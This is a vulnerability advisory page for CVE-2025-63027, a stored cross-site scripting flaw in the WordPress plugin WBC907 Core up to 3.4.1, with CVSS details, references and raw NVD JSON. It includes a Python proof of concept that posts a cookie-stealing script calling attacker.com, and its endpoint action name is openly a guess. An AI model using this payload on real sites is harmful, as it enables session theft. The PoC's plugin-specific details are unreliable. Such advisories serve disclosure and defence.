CVE-2025-63027

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in webcreations907 WBC907 Core wbc907-core allows Stored XSS.This issue affects WBC907 Core: from n/a through <= 3.4.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WBC907 Core插件 <= 3.4.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import re

# CVE-2025-63027 PoC - WBC907 Core Stored XSS
# Target: WordPress site with vulnerable WBC907 Core plugin (<=3.4.1)

TARGET_URL = "http://target-site.com"
USERNAME = "attacker_account"
PASSWORD = "attacker_password"

# XSS payload - cookie stealing example
XSS_PAYLOAD = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>"

def exploit_stored_xss():
    """Exploit stored XSS in WBC907 Core plugin"""
    session = requests.Session()
    
    # Step 1: Login to WordPress
    login_url = f"{TARGET_URL}/wp-login.php"
    login_data = {
        'log': USERNAME,
        'pwd': PASSWORD,
        'wp-submit': 'Log In'
    }
    session.post(login_url, data=login_data)
    
    # Step 2: Find vulnerable input field in WBC907 Core
    # Typically in plugin's content creation/editing functionality
    vulnerable_endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php"
    
    # Step 3: Submit XSS payload
    exploit_data = {
        'action': 'wbc907_save_content',  # Example action name
        'content': XSS_PAYLOAD,
        'post_id': 'NEW'
    }
    response = session.post(vulnerable_endpoint, data=exploit_data)
    
    # Step 4: Verify XSS is stored
    if response.status_code == 200:
        print("[+] XSS payload submitted successfully")
        print("[+] Payload will execute when content is viewed")
    
    return True

if __name__ == "__main__":
    exploit_stored_xss()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63027
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63027
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63027/
[4] VulDB https://vuldb.com/cve/CVE-2025-63027
[5] https://patchstack.com/database/Wordpress/Plugin/wbc907-core/vulnerability/wordpress-wbc907-core-plugin-3-4-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63027", "sourceIdentifier": "[email protected]", "published": "2025-12-30T16:15:45.630", "lastModified": "2026-04-23T15:34:59.033", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in webcreations907 WBC907 Core wbc907-core allows Stored XSS.This issue affects WBC907 Core: from n/a through <= 3.4.1."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Webcreations907 WBC907 Core permite XSS Almacenado. Este problema afecta a WBC907 Core: desde n/a hasta 3.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wbc907-core/vulnerability/wordpress-wbc907-core-plugin-3-4-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}